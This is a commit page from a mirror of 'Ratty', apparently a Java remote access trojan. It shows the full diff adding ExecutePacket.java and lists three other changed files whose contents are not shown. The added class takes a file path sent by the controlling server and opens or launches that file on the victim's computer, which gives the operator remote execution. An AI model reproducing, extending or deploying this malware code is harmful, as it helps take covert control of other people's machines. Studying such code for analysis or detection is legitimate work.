mirror of https://github.com/LucaBongiorni/Ratty
Sogomn
9 years ago
4 changed files with 77 additions and 2 deletions
-
49Ratty/src/de/sogomn/rat/packet/ExecutePacket.java
-
3Ratty/src/de/sogomn/rat/packet/PacketType.java
-
18Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java
-
9Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java
@ -0,0 +1,49 @@ |
|||
package de.sogomn.rat.packet; |
|||
|
|||
import java.awt.Desktop; |
|||
import java.awt.Desktop.Action; |
|||
import java.io.File; |
|||
import java.io.IOException; |
|||
|
|||
import de.sogomn.rat.ActiveClient; |
|||
|
|||
public final class ExecutePacket implements IPacket { |
|||
|
|||
private String path; |
|||
|
|||
public ExecutePacket(final String path) { |
|||
this.path = path; |
|||
} |
|||
|
|||
public ExecutePacket() { |
|||
this(""); |
|||
} |
|||
|
|||
@Override |
|||
public void send(final ActiveClient client) { |
|||
client.writeUTF(path); |
|||
} |
|||
|
|||
@Override |
|||
public void receive(final ActiveClient client) { |
|||
path = client.readUTF(); |
|||
} |
|||
|
|||
@Override |
|||
public void execute(final ActiveClient client) { |
|||
final File file = new File(path); |
|||
|
|||
if (Desktop.isDesktopSupported() && file.exists()) { |
|||
final Desktop desktop = Desktop.getDesktop(); |
|||
|
|||
if (desktop.isSupported(Action.OPEN)) { |
|||
try { |
|||
desktop.open(file); |
|||
} catch (final IOException ex) { |
|||
ex.printStackTrace(); |
|||
} |
|||
} |
|||
} |
|||
} |
|||
|
|||
} |
Write
Preview
Loading…
Cancel
Save
Reference in new issue